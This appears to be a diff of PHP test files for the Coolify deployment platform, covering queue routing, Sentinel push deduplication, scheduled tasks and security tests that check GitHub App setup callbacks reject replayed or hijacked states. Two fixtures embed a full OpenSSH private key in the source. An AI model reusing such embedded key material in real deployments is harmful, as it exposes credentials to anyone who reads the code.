$job = new PushServerUpdateJob($server, $belowThresholdData);
$job->handle();
Queue::assertNotPushed(ServerStorageCheckJob::class);
expect(Cache::missing($storageCacheKey))->toBeTrue();
Queue::fake();
$aboveThresholdData = [
'containers' => [],
'filesystem_usage_root' => ['used_percentage' => 85],
];
$job = new PushServerUpdateJob($server, $aboveThresholdData);
$job->handle();
Queue::assertPushed(ServerStorageCheckJob::class, function ($job) use ($server) {
return $job->server->id === $server->id && $job->percentage === 45;
return $job->server->id === $server->id && $job->percentage === 85;
});
});
@@ -37,12 +87,12 @@ it('does not dispatch storage check when disk percentage is unchanged', function
$team = Team::factory()->create();
$server = Server::factory()->create(['team_id' => $team->id]);
// Simulate a previous push that cached the percentage
Cache::put('storage-check:'.$server->id, 45, 600);
// Simulate a previous push that cached the percentage (above threshold).
Cache::put('storage-check:'.$server->id, 85, 600);
$data = [
'containers' => [],
'filesystem_usage_root' => ['used_percentage' => 45],
'filesystem_usage_root' => ['used_percentage' => 85],
];
$job = new PushServerUpdateJob($server, $data);
@@ -55,19 +105,19 @@ it('dispatches storage check when disk percentage changes from cached value', fu
$team = Team::factory()->create();
$server = Server::factory()->create(['team_id' => $team->id]);
// Simulate a previous push that cached 45%
Cache::put('storage-check:'.$server->id, 45, 600);
// Simulate a previous push that cached 85% (above threshold).
Cache::put('storage-check:'.$server->id, 85, 600);
$data = [
'containers' => [],
'filesystem_usage_root' => ['used_percentage' => 50],
'filesystem_usage_root' => ['used_percentage' => 90],
];
$job = new PushServerUpdateJob($server, $data);
$job->handle();
Queue::assertPushed(ServerStorageCheckJob::class, function ($job) use ($server) {
return $job->server->id === $server->id && $job->percentage === 50;
return $job->server->id === $server->id && $job->percentage === 90;
});
});
@@ -140,6 +190,36 @@ it('dispatches ConnectProxyToNetworksJob again after cache expires', function ()
Queue::assertPushed(ConnectProxyToNetworksJob::class, 1);
});
it('respects the configured proxy connect interval', function () {
// Interval 0 → the connect-proxy gate key expires immediately, so every
// push re-dispatches without a manual Cache::forget. Proves the TTL is
// driven by config('constants.proxy.connect_networks_interval_seconds').
config(['constants.proxy.connect_networks_interval_seconds' => 0]);
$team = Team::factory()->create();
$server = Server::factory()->create(['team_id' => $team->id]);
$server->settings->update(['is_reachable' => true, 'is_usable' => true]);
$data = [
'containers' => [
[
'name' => 'coolify-proxy',
'state' => 'running',
'health_status' => 'healthy',
'labels' => ['coolify.managed' => true],
],
],
'filesystem_usage_root' => ['used_percentage' => 10],
];
(new PushServerUpdateJob($server, $data))->handle();
Queue::assertPushed(ConnectProxyToNetworksJob::class, 1);
Queue::fake();
(new PushServerUpdateJob($server, $data))->handle();
Queue::assertPushed(ConnectProxyToNetworksJob::class, 1);
});
it('uses default queue for PushServerUpdateJob', function () {
$team = Team::factory()->create();
$server = Server::factory()->create(['team_id' => $team->id]);
+11 -4
View File
@@ -4,17 +4,21 @@ use App\Jobs\PushServerUpdateJob;
use App\Models\Server;
use App\Models\Service;
use App\Models\ServiceApplication;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
test('containers with empty service subId are skipped', function () {
$server = Server::factory()->create();
$team = Team::factory()->create();
$server = Server::factory()->create(['team_id' => $team->id]);
$service = Service::factory()->create([
'server_id' => $server->id,
]);
$serviceApp = ServiceApplication::factory()->create([
$serviceApp = ServiceApplication::create([
'service_id' => $service->id,
'uuid' => (string) str()->uuid(),
'name' => 'app-'.str()->random(8),
]);
$data = [
@@ -44,12 +48,15 @@ test('containers with empty service subId are skipped', function () {
});
test('containers with valid service subId are processed', function () {
$server = Server::factory()->create();
$team = Team::factory()->create();
$server = Server::factory()->create(['team_id' => $team->id]);
$service = Service::factory()->create([
'server_id' => $server->id,
]);
$serviceApp = ServiceApplication::factory()->create([
$serviceApp = ServiceApplication::create([
'service_id' => $service->id,
'uuid' => (string) str()->uuid(),
'name' => 'app-'.str()->random(8),
]);
$data = [
+74
View File
@@ -0,0 +1,74 @@
<?php
use App\Actions\Database\StartDatabase;
use App\Actions\Database\StartDatabaseProxy;
use App\Actions\Service\StartService;
use App\Jobs\DatabaseBackupJob;
use App\Jobs\ScheduledJobManager;
use App\Models\ScheduledDatabaseBackup;
describe('deployment_queue helper', function () {
test('uses the high queue on self-hosted', function () {
config(['constants.coolify.self_hosted' => true]);
expect(deployment_queue())->toBe('high');
});
test('uses the deployments queue on cloud', function () {
config(['constants.coolify.self_hosted' => false]);
expect(deployment_queue())->toBe('deployments');
});
});
describe('crons_queue helper', function () {
test('uses the high queue on self-hosted', function () {
config(['constants.coolify.self_hosted' => true]);
expect(crons_queue())->toBe('high');
});
test('uses the crons queue on cloud', function () {
config(['constants.coolify.self_hosted' => false]);
expect(crons_queue())->toBe('crons');
});
});
describe('start action job routing', function () {
test('routes to the deployments queue on cloud', function (string $actionClass) {
config(['constants.coolify.self_hosted' => false]);
expect($actionClass::makeJob()->queue)->toBe('deployments');
})->with([
StartDatabase::class,
StartDatabaseProxy::class,
StartService::class,
]);
test('routes to the high queue on self-hosted', function (string $actionClass) {
config(['constants.coolify.self_hosted' => true]);
expect($actionClass::makeJob()->queue)->toBe('high');
})->with([
StartDatabase::class,
StartDatabaseProxy::class,
StartService::class,
]);
});
describe('scheduled job routing', function () {
test('scheduled jobs use the crons queue on cloud', function () {
config(['constants.coolify.self_hosted' => false]);
expect((new ScheduledJobManager)->queue)->toBe('crons');
expect((new DatabaseBackupJob(new ScheduledDatabaseBackup))->queue)->toBe('crons');
});
test('scheduled jobs use the high queue on self-hosted', function () {
config(['constants.coolify.self_hosted' => true]);
expect((new ScheduledJobManager)->queue)->toBe('high');
expect((new DatabaseBackupJob(new ScheduledDatabaseBackup))->queue)->toBe('high');
});
});
@@ -58,22 +58,35 @@ it('uses a fast probe timeout when the tab regains visibility', function () {
->toContain("'Visibility-resume timeout'");
});
it('closes idle terminal sessions after 30 minutes on the server', function () {
it('does not hard close terminal sessions after 30 minutes on the server', function () {
$terminalServer = file_get_contents(base_path('docker/coolify-realtime/terminal-server.js'));
expect($terminalServer)
->toContain('IDLE_TIMEOUT_MS = 30 * 60 * 1000')
->toContain('lastActivityAt')
->toContain("ws.send('idle-timeout');")
->toContain("ws.close(1000, 'Idle timeout');");
->not->toContain('IDLE_TIMEOUT_MS = 30 * 60 * 1000')
->not->toContain("ws.send('idle-timeout');")
->not->toContain("ws.close(1000, 'Idle timeout');");
});
it('reacts to idle-timeout sentinel on the client and shows a user-facing error', function () {
it('does not close the client terminal from an idle-timeout sentinel', function () {
$terminalClient = file_get_contents(base_path('resources/js/terminal.js'));
expect($terminalClient)
->toContain("event.data === 'idle-timeout'")
->toContain('Terminal closed after 30 minutes of inactivity.');
->not->toContain("event.data === 'idle-timeout'")
->not->toContain('Terminal closed after 30 minutes of inactivity.');
});
it('keeps Livewire alive in background tabs while a terminal is connected', function () {
$terminalComponent = file_get_contents(base_path('app/Livewire/Project/Shared/Terminal.php'));
$terminalView = file_get_contents(base_path('resources/views/livewire/project/shared/terminal.blade.php'));
expect($terminalComponent)
->toContain('public bool $isTerminalConnected = false;')
->toContain("#[On('terminalConnected')]")
->toContain('public function markTerminalConnected(): void')
->toContain('public function keepTerminalPageAlive(): void')
->and($terminalView)
->toContain('@if ($isTerminalConnected)')
->toContain('wire:poll.keep-alive.30s="keepTerminalPageAlive"');
});
it('replays the last command on reconnect so the PTY respawns automatically', function () {
+38
View File
@@ -0,0 +1,38 @@
<?php
use App\Models\InstanceSettings;
use Illuminate\Console\Scheduling\Schedule;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
InstanceSettings::unguarded(fn () => InstanceSettings::query()->firstOrCreate(['id' => 0]));
});
it('schedules RegenerateSslCertJob with onOneServer to prevent multi-server double dispatch', function () {
$schedule = app(Schedule::class);
$event = collect($schedule->events())->first(
fn ($e) => str_contains((string) $e->description, 'RegenerateSslCertJob')
);
expect($event)->not->toBeNull();
expect($event->onOneServer)->toBeTrue();
});
it('schedules every production job with onOneServer', function () {
$schedule = app(Schedule::class);
$jobEvents = collect($schedule->events())->filter(
fn ($e) => str_contains((string) $e->description, 'App\\Jobs\\')
);
expect($jobEvents)->not->toBeEmpty();
$jobEvents->each(function ($event) {
expect($event->onOneServer)->toBeTrue(
"Scheduled job [{$event->description}] is missing ->onOneServer()"
);
});
});
@@ -0,0 +1,150 @@
<?php
use App\Jobs\ScheduledJobManager;
use App\Jobs\ScheduledTaskJob;
use App\Models\Application;
use App\Models\Environment;
use App\Models\PrivateKey;
use App\Models\Project;
use App\Models\ScheduledTask;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Carbon;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Queue;
uses(RefreshDatabase::class);
it('dispatches scheduled tasks across chunks', function () {
config(['constants.coolify.self_hosted' => true]);
Carbon::setTestNow(Carbon::create(2026, 5, 27, 0, 1, 0, 'UTC'));
Queue::fake();
$team = Team::factory()->create();
$privateKey = PrivateKey::create([
'name' => 'Test Key',
'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
-----END OPENSSH PRIVATE KEY-----',
'team_id' => $team->id,
]);
$server = Server::factory()->create([
'team_id' => $team->id,
'private_key_id' => $privateKey->id,
]);
$server->settings()->update([
'is_reachable' => true,
'is_usable' => true,
'force_disabled' => false,
'docker_cleanup_frequency' => '0 * * * *',
]);
$destination = StandaloneDocker::where('server_id', $server->id)->first()
?? StandaloneDocker::factory()->create(['server_id' => $server->id]);
$project = Project::factory()->create(['team_id' => $team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
$application = Application::factory()->create([
'environment_id' => $environment->id,
'destination_id' => $destination->id,
'destination_type' => StandaloneDocker::class,
'status' => 'running',
]);
ScheduledTask::factory()
->count(101)
->create([
'team_id' => $team->id,
'application_id' => $application->id,
'frequency' => '* * * * *',
'enabled' => true,
]);
(new ScheduledJobManager)->handle();
Queue::assertPushed(ScheduledTaskJob::class, 101);
});
it('skips expensive dispatch for non-due schedules while seeding dedup cache', function () {
config(['constants.coolify.self_hosted' => true]);
Carbon::setTestNow(Carbon::create(2026, 5, 27, 0, 1, 0, 'UTC'));
Queue::fake();
$application = createScheduledTaskApplication();
$task = ScheduledTask::factory()->create([
'team_id' => $application->environment->project->team_id,
'application_id' => $application->id,
'frequency' => '0 2 * * *',
'enabled' => true,
]);
(new ScheduledJobManager)->handle();
Queue::assertNotPushed(ScheduledTaskJob::class);
expect(Cache::get("scheduled-task:{$task->id}"))->not->toBeNull();
});
it('does not query relationships when constructing scheduled task jobs', function () {
$application = createScheduledTaskApplication();
$task = ScheduledTask::factory()->create([
'team_id' => $application->environment->project->team_id,
'application_id' => $application->id,
'frequency' => '* * * * *',
'enabled' => true,
])->fresh();
DB::flushQueryLog();
DB::enableQueryLog();
$job = new ScheduledTaskJob($task);
expect(DB::getQueryLog())->toBeEmpty()
->and($job->queue)->toBe(crons_queue())
->and($job->timeout)->toBe(300);
});
function createScheduledTaskApplication(): Application
{
$team = Team::factory()->create();
$privateKey = PrivateKey::create([
'name' => 'Test Key',
'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
-----END OPENSSH PRIVATE KEY-----',
'team_id' => $team->id,
]);
$server = Server::factory()->create([
'team_id' => $team->id,
'private_key_id' => $privateKey->id,
]);
$server->settings()->update([
'is_reachable' => true,
'is_usable' => true,
'force_disabled' => false,
'docker_cleanup_frequency' => '0 * * * *',
]);
$destination = StandaloneDocker::where('server_id', $server->id)->first()
?? StandaloneDocker::factory()->create(['server_id' => $server->id]);
$project = Project::factory()->create(['team_id' => $team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
return Application::factory()->create([
'environment_id' => $environment->id,
'destination_id' => $destination->id,
'destination_type' => StandaloneDocker::class,
'status' => 'running',
]);
}
@@ -0,0 +1,257 @@
<?php
use App\Models\GithubApp;
use App\Models\InstanceSettings;
use App\Models\PrivateKey;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Http;
uses(RefreshDatabase::class);
beforeEach(function () {
InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0]));
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
$this->githubApp = GithubApp::create([
'name' => 'Test GitHub App',
'api_url' => 'https://api.github.com',
'html_url' => 'https://github.com',
'custom_user' => 'git',
'custom_port' => 22,
'team_id' => $this->team->id,
'is_system_wide' => false,
]);
});
function cacheGithubAppSetupState(string $state, string $action, GithubApp $githubApp): void
{
Cache::put('github-app-setup-state:'.hash('sha256', $state), [
'action' => $action,
'github_app_id' => $githubApp->id,
'team_id' => $githubApp->team_id,
], now()->addMinutes(15));
}
function authenticateGithubSetupCallbackTest(object $test): void
{
$test->actingAs($test->user);
session(['currentTeam' => $test->team]);
}
function fakeGithubManifestConversion(): void
{
$key = openssl_pkey_new([
'private_key_bits' => 2048,
'private_key_type' => OPENSSL_KEYTYPE_RSA,
]);
openssl_pkey_export($key, $privateKey);
Http::preventStrayRequests();
Http::fake([
'https://api.github.com/app-manifests/*/conversions' => Http::response([
'id' => 987654,
'slug' => 'attacker-controlled-app',
'client_id' => 'new-client-id',
'client_secret' => 'new-client-secret',
'pem' => $privateKey,
'webhook_secret' => 'new-webhook-secret',
]),
]);
}
function configureGithubAppCredentials(GithubApp $githubApp): void
{
$key = openssl_pkey_new([
'private_key_bits' => 2048,
'private_key_type' => OPENSSL_KEYTYPE_RSA,
]);
openssl_pkey_export($key, $privateKey);
$privateKeyModel = PrivateKey::create([
'name' => 'github-app-test-key',
'private_key' => $privateKey,
'team_id' => $githubApp->team_id,
'is_git_related' => true,
]);
$githubApp->forceFill([
'app_id' => 123456,
'private_key_id' => $privateKeyModel->id,
])->save();
}
function fakeGithubInstallationVerification(int $appId): void
{
Http::preventStrayRequests();
Http::fake([
'https://api.github.com/zen' => Http::response('Keep it logically awesome.', 200, [
'Date' => now()->toRfc7231String(),
]),
'https://api.github.com/app/installations/*' => Http::response([
'id' => 555,
'app_id' => $appId,
], 200),
]);
}
function fakeGithubInstallationVerificationFailure(): void
{
Http::preventStrayRequests();
Http::fake([
'https://api.github.com/zen' => Http::response('Keep it logically awesome.', 200, [
'Date' => now()->toRfc7231String(),
]),
'https://api.github.com/app/installations/*' => Http::response(['message' => 'Not Found'], 404),
]);
}
it('requires authentication before processing github app manifest callbacks', function () {
fakeGithubManifestConversion();
cacheGithubAppSetupState('valid-state', 'manifest', $this->githubApp);
$this->get('/webhooks/source/github/redirect?state=valid-state&code=attacker-code')
->assertRedirect();
Http::assertNothingSent();
$this->githubApp->refresh();
expect($this->githubApp->app_id)->toBeNull()
->and($this->githubApp->client_id)->toBeNull()
->and($this->githubApp->webhook_secret)->toBeNull();
});
it('rejects github app manifest callbacks with invalid state without calling github', function () {
authenticateGithubSetupCallbackTest($this);
fakeGithubManifestConversion();
$this->withHeader('Accept', 'application/json')->get('/webhooks/source/github/redirect?state='.$this->githubApp->uuid.'&code=attacker-code')
->assertNotFound();
Http::assertNothingSent();
$this->githubApp->refresh();
expect($this->githubApp->app_id)->toBeNull()
->and($this->githubApp->client_id)->toBeNull()
->and($this->githubApp->webhook_secret)->toBeNull();
});
it('blocks rebinding an already configured github app through manifest callback', function () {
authenticateGithubSetupCallbackTest($this);
fakeGithubManifestConversion();
$this->githubApp->forceFill([
'app_id' => 123456,
'client_id' => 'existing-client-id',
'client_secret' => 'existing-client-secret',
'webhook_secret' => 'existing-webhook-secret',
])->save();
cacheGithubAppSetupState('valid-state', 'manifest', $this->githubApp);
$this->withHeader('Accept', 'application/json')->get('/webhooks/source/github/redirect?state=valid-state&code=attacker-code')
->assertForbidden();
Http::assertNothingSent();
$this->githubApp->refresh();
expect($this->githubApp->app_id)->toBe(123456)
->and($this->githubApp->client_id)->toBe('existing-client-id')
->and($this->githubApp->webhook_secret)->toBe('existing-webhook-secret');
});
it('configures an unbound github app with a valid one-time manifest state', function () {
authenticateGithubSetupCallbackTest($this);
fakeGithubManifestConversion();
cacheGithubAppSetupState('valid-state', 'manifest', $this->githubApp);
$this->get('/webhooks/source/github/redirect?state=valid-state&code=real-code')
->assertRedirect(route('source.github.show', ['github_app_uuid' => $this->githubApp->uuid]));
Http::assertSentCount(1);
$this->githubApp->refresh();
expect($this->githubApp->name)->toBe('attacker-controlled-app')
->and($this->githubApp->app_id)->toBe(987654)
->and($this->githubApp->client_id)->toBe('new-client-id')
->and($this->githubApp->webhook_secret)->toBe('new-webhook-secret')
->and($this->githubApp->private_key_id)->not->toBeNull();
});
it('rejects replayed github app manifest states', function () {
authenticateGithubSetupCallbackTest($this);
fakeGithubManifestConversion();
cacheGithubAppSetupState('valid-state', 'manifest', $this->githubApp);
$this->get('/webhooks/source/github/redirect?state=valid-state&code=real-code')
->assertRedirect();
$this->withHeader('Accept', 'application/json')->get('/webhooks/source/github/redirect?state=valid-state&code=real-code')
->assertNotFound();
Http::assertSentCount(1);
});
it('requires authentication before processing github app install callbacks', function () {
Http::preventStrayRequests();
$this->get('/webhooks/source/github/install?source='.$this->githubApp->uuid.'&setup_action=install&installation_id=123456')
->assertRedirect();
Http::assertNothingSent();
$this->githubApp->refresh();
expect($this->githubApp->installation_id)->toBeNull();
});
it('rejects github app install callbacks for an unknown github app', function () {
authenticateGithubSetupCallbackTest($this);
Http::preventStrayRequests();
$this->withHeader('Accept', 'application/json')->get('/webhooks/source/github/install?source=does-not-exist&setup_action=install&installation_id=123456')
->assertNotFound();
Http::assertNothingSent();
});
it('rejects an installation id that github does not confirm belongs to the app', function () {
authenticateGithubSetupCallbackTest($this);
configureGithubAppCredentials($this->githubApp);
fakeGithubInstallationVerificationFailure();
$this->withHeader('Accept', 'application/json')->get('/webhooks/source/github/install?source='.$this->githubApp->uuid.'&setup_action=install&installation_id=999999')
->assertForbidden();
$this->githubApp->refresh();
expect($this->githubApp->installation_id)->toBeNull();
});
it('sets installation id when github confirms it belongs to the app', function () {
authenticateGithubSetupCallbackTest($this);
configureGithubAppCredentials($this->githubApp);
fakeGithubInstallationVerification($this->githubApp->app_id);
$this->get('/webhooks/source/github/install?source='.$this->githubApp->uuid.'&setup_action=install&installation_id=123456')
->assertRedirect(route('source.github.show', ['github_app_uuid' => $this->githubApp->uuid]));
$this->githubApp->refresh();
expect($this->githubApp->installation_id)->toBe(123456);
});
it('allows reinstalling an already configured github app installation id', function () {
authenticateGithubSetupCallbackTest($this);
configureGithubAppCredentials($this->githubApp);
$this->githubApp->forceFill(['installation_id' => 111111])->save();
fakeGithubInstallationVerification($this->githubApp->app_id);
$this->get('/webhooks/source/github/install?source='.$this->githubApp->uuid.'&setup_action=install&installation_id=222222')
->assertRedirect(route('source.github.show', ['github_app_uuid' => $this->githubApp->uuid]));
$this->githubApp->refresh();
expect($this->githubApp->installation_id)->toBe(222222);
});
@@ -0,0 +1,189 @@
<?php
use App\Http\Controllers\Api\SentinelController;
use App\Jobs\PushServerUpdateJob;
use App\Models\Server;
use App\Models\User;
use Illuminate\Contracts\Cache\LockTimeoutException;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Carbon;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Queue;
uses(RefreshDatabase::class);
beforeEach(function () {
config(['app.maintenance.store' => 'array']);
Queue::fake();
Cache::flush();
$user = User::factory()->create();
$this->team = $user->teams()->first();
$this->server = Server::factory()->create([
'team_id' => $this->team->id,
]);
$this->server->settings->update([
'is_reachable' => true,
'is_usable' => true,
]);
$this->token = $this->server->settings->sentinel_token;
});
function pushSentinel(string $token, array $payload)
{
return test()->postJson('/api/v1/sentinel/push', $payload, [
'Authorization' => 'Bearer '.$token,
]);
}
function sentinelPayload(array $containers, ?float $diskPercentage = 42.0): array
{
return [
'containers' => $containers,
'filesystem_usage_root' => ['used_percentage' => $diskPercentage],
];
}
$running = fn () => [['name' => 'app-1', 'state' => 'running', 'health_status' => 'healthy']];
it('skips dispatch decision when sentinel lock acquisition times out', function () use ($running) {
$lock = Mockery::mock();
$lock->shouldReceive('block')
->once()
->with(5, Mockery::type('callable'))
->andThrow(LockTimeoutException::class);
Cache::shouldReceive('lock')
->once()
->with('sentinel:push-lock:'.$this->server->id, 10)
->andReturn($lock);
$controller = new SentinelController;
$method = new ReflectionMethod($controller, 'shouldDispatchUpdate');
$method->setAccessible(true);
expect($method->invoke($controller, $this->server, sentinelPayload($running())))->toBeFalse();
});
it('dispatches the job on the first push', function () use ($running) {
pushSentinel($this->token, sentinelPayload($running()))->assertOk();
Queue::assertPushed(PushServerUpdateJob::class, 1);
});
it('skips the job when the second push is identical', function () use ($running) {
pushSentinel($this->token, sentinelPayload($running()))->assertOk();
pushSentinel($this->token, sentinelPayload($running()))->assertOk();
Queue::assertPushed(PushServerUpdateJob::class, 1);
});
it('updates the heartbeat even when the job is skipped', function () use ($running) {
pushSentinel($this->token, sentinelPayload($running()))->assertOk();
$this->server->update(['sentinel_updated_at' => now()->subHour()]);
pushSentinel($this->token, sentinelPayload($running()))->assertOk();
Queue::assertPushed(PushServerUpdateJob::class, 1);
expect(Carbon::parse($this->server->fresh()->sentinel_updated_at)->diffInSeconds(now()))->toBeLessThan(5);
});
it('accepts an empty container list as a heartbeat when no containers are running', function () {
$this->server->update(['sentinel_updated_at' => now()->subHour()]);
pushSentinel($this->token, sentinelPayload([]))->assertOk();
Queue::assertPushed(PushServerUpdateJob::class, 1);
expect(Carbon::parse($this->server->fresh()->sentinel_updated_at)->diffInSeconds(now()))->toBeLessThan(5);
});
it('rejects malformed sentinel payloads before touching server state', function (array $payload) {
$this->server->update(['sentinel_updated_at' => now()->subHour()]);
$originalHeartbeat = $this->server->fresh()->sentinel_updated_at;
pushSentinel($this->token, $payload)
->assertUnprocessable()
->assertJsonPath('message', 'Validation failed.')
->assertJsonValidationErrors('containers');
Queue::assertNotPushed(PushServerUpdateJob::class);
expect($this->server->fresh()->sentinel_updated_at)->toBe($originalHeartbeat);
expect(Cache::has('sentinel:push-hash:'.$this->server->id))->toBeFalse();
expect(Cache::has('sentinel:push-force:'.$this->server->id))->toBeFalse();
})->with([
'missing containers' => [[]],
'non-array containers' => [['containers' => 'not-an-array']],
]);
it('guards the dedupe decision with a server scoped atomic cache lock', function () {
$controller = file_get_contents(app_path('Http/Controllers/Api/SentinelController.php'));
expect($controller)
->toContain('$lockKey = "sentinel:push-lock:{$server->id}";')
->toContain('Cache::lock($lockKey, 10)->block(5, function () use ($hashKey, $forceKey, $hash): bool')
->toContain('Cache::put($hashKey, $hash, now()->addDay())')
->toContain("Cache::put(\$forceKey, true, config('constants.sentinel.push_force_interval_seconds', 300))");
});
it('dispatches the job when container state changes', function () use ($running) {
pushSentinel($this->token, sentinelPayload($running()))->assertOk();
$exited = [['name' => 'app-1', 'state' => 'exited', 'health_status' => 'unhealthy']];
pushSentinel($this->token, sentinelPayload($exited))->assertOk();
Queue::assertPushed(PushServerUpdateJob::class, 2);
});
it('ignores health status changes while container lifecycle state is unchanged', function () {
$healthy = [['name' => 'app-1', 'state' => 'running', 'health_status' => 'healthy']];
$unhealthy = [['name' => 'app-1', 'state' => 'running', 'health_status' => 'unhealthy']];
pushSentinel($this->token, sentinelPayload($healthy))->assertOk();
pushSentinel($this->token, sentinelPayload($unhealthy))->assertOk();
Queue::assertPushed(PushServerUpdateJob::class, 1);
});
it('ignores disk percentage changes (excluded from the hash)', function () use ($running) {
pushSentinel($this->token, sentinelPayload($running(), diskPercentage: 42.0))->assertOk();
pushSentinel($this->token, sentinelPayload($running(), diskPercentage: 88.0))->assertOk();
Queue::assertPushed(PushServerUpdateJob::class, 1);
});
it('ignores container reordering (hash is sorted by name)', function () {
$order1 = [
['name' => 'app-a', 'state' => 'running', 'health_status' => 'healthy'],
['name' => 'app-b', 'state' => 'running', 'health_status' => 'healthy'],
];
$order2 = [
['name' => 'app-b', 'state' => 'running', 'health_status' => 'healthy'],
['name' => 'app-a', 'state' => 'running', 'health_status' => 'healthy'],
];
pushSentinel($this->token, sentinelPayload($order1))->assertOk();
pushSentinel($this->token, sentinelPayload($order2))->assertOk();
Queue::assertPushed(PushServerUpdateJob::class, 1);
});
it('force-dispatches an identical push after the force window expires', function () use ($running) {
pushSentinel($this->token, sentinelPayload($running()))->assertOk();
// Simulate the force key TTL elapsing.
Cache::forget('sentinel:push-force:'.$this->server->id);
pushSentinel($this->token, sentinelPayload($running()))->assertOk();
Queue::assertPushed(PushServerUpdateJob::class, 2);
});
it('rejects an invalid token without dispatching', function () use ($running) {
pushSentinel('not-a-real-token', sentinelPayload($running()))->assertUnauthorized();
Queue::assertNotPushed(PushServerUpdateJob::class);
});
@@ -0,0 +1,107 @@
<?php
use App\Livewire\Destination\New\Docker;
use App\Livewire\Server\Destinations;
use App\Models\InstanceSettings;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\SwarmDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Queue;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
Queue::fake();
InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0]));
$this->user = User::factory()->create();
$this->team = Team::factory()->create();
$this->user->teams()->attach($this->team, ['role' => 'owner']);
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
});
test('destination creation modal can mount with selected team server even when global usable server list excludes it', function () {
$server = Server::factory()->create(['team_id' => $this->team->id]);
$server->settings()->update([
'is_reachable' => true,
'is_usable' => true,
'is_build_server' => true,
]);
StandaloneDocker::withoutEvents(fn () => $server->standaloneDockers()->delete());
Livewire::test(Docker::class, ['server_id' => (string) $server->id])
->assertSet('selectedServer.id', $server->id)
->assertSet('serverId', (string) $server->id);
});
test('server destinations page renders when selected server has no destinations', function () {
$server = Server::factory()->create(['team_id' => $this->team->id]);
$server->settings()->update([
'is_reachable' => true,
'is_usable' => true,
'is_build_server' => true,
]);
StandaloneDocker::withoutEvents(fn () => $server->standaloneDockers()->delete());
$this->get(route('server.destinations', ['server_uuid' => $server->uuid]))
->assertSuccessful()
->assertSee('Destinations')
->assertSee('No destinations configured for this server yet.')
->assertDontSee('Server not found.');
});
test('global destinations page does not render per-server empty states beside existing destinations', function () {
$serverWithDestination = Server::factory()->create(['team_id' => $this->team->id]);
$serverWithDestination->settings()->update([
'is_reachable' => true,
'is_usable' => true,
]);
$serverWithoutDestination = Server::factory()->create(['team_id' => $this->team->id]);
$serverWithoutDestination->settings()->update([
'is_reachable' => true,
'is_usable' => true,
]);
StandaloneDocker::withoutEvents(fn () => $serverWithoutDestination->standaloneDockers()->delete());
$this->get(route('destination.index'))
->assertSuccessful()
->assertSee($serverWithDestination->standaloneDockers()->first()->name)
->assertDontSee('No destinations found.');
});
test('global destinations page renders a single empty state when no usable servers have destinations', function () {
$server = Server::factory()->create(['team_id' => $this->team->id]);
$server->settings()->update([
'is_reachable' => true,
'is_usable' => true,
]);
StandaloneDocker::withoutEvents(fn () => $server->standaloneDockers()->delete());
$this->get(route('destination.index'))
->assertSuccessful()
->assertSee('No destinations found.');
});
test('adding a discovered swarm destination stores the selected network name', function () {
$server = Server::factory()->create(['team_id' => $this->team->id]);
$server->settings()->update([
'is_reachable' => true,
'is_usable' => true,
'is_swarm_manager' => true,
]);
Livewire::test(Destinations::class, ['server_uuid' => $server->uuid])
->call('add', 'customer-network');
expect(SwarmDocker::where('server_id', $server->id)->where('network', 'customer-network')->exists())->toBeTrue();
});
@@ -0,0 +1,141 @@
<?php
use App\Livewire\Project\Database\Import as DatabaseImport;
use App\Livewire\Project\Service\Heading;
use App\Models\Environment;
use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\Server;
use App\Models\Service;
use App\Models\ServiceApplication;
use App\Models\ServiceDatabase;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Database\Eloquent\ModelNotFoundException;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Config;
use Illuminate\Support\Once;
use Livewire\Livewire;
use Symfony\Component\HttpKernel\Exception\NotFoundHttpException;
uses(RefreshDatabase::class);
beforeEach(function () {
Config::set('cache.default', 'array');
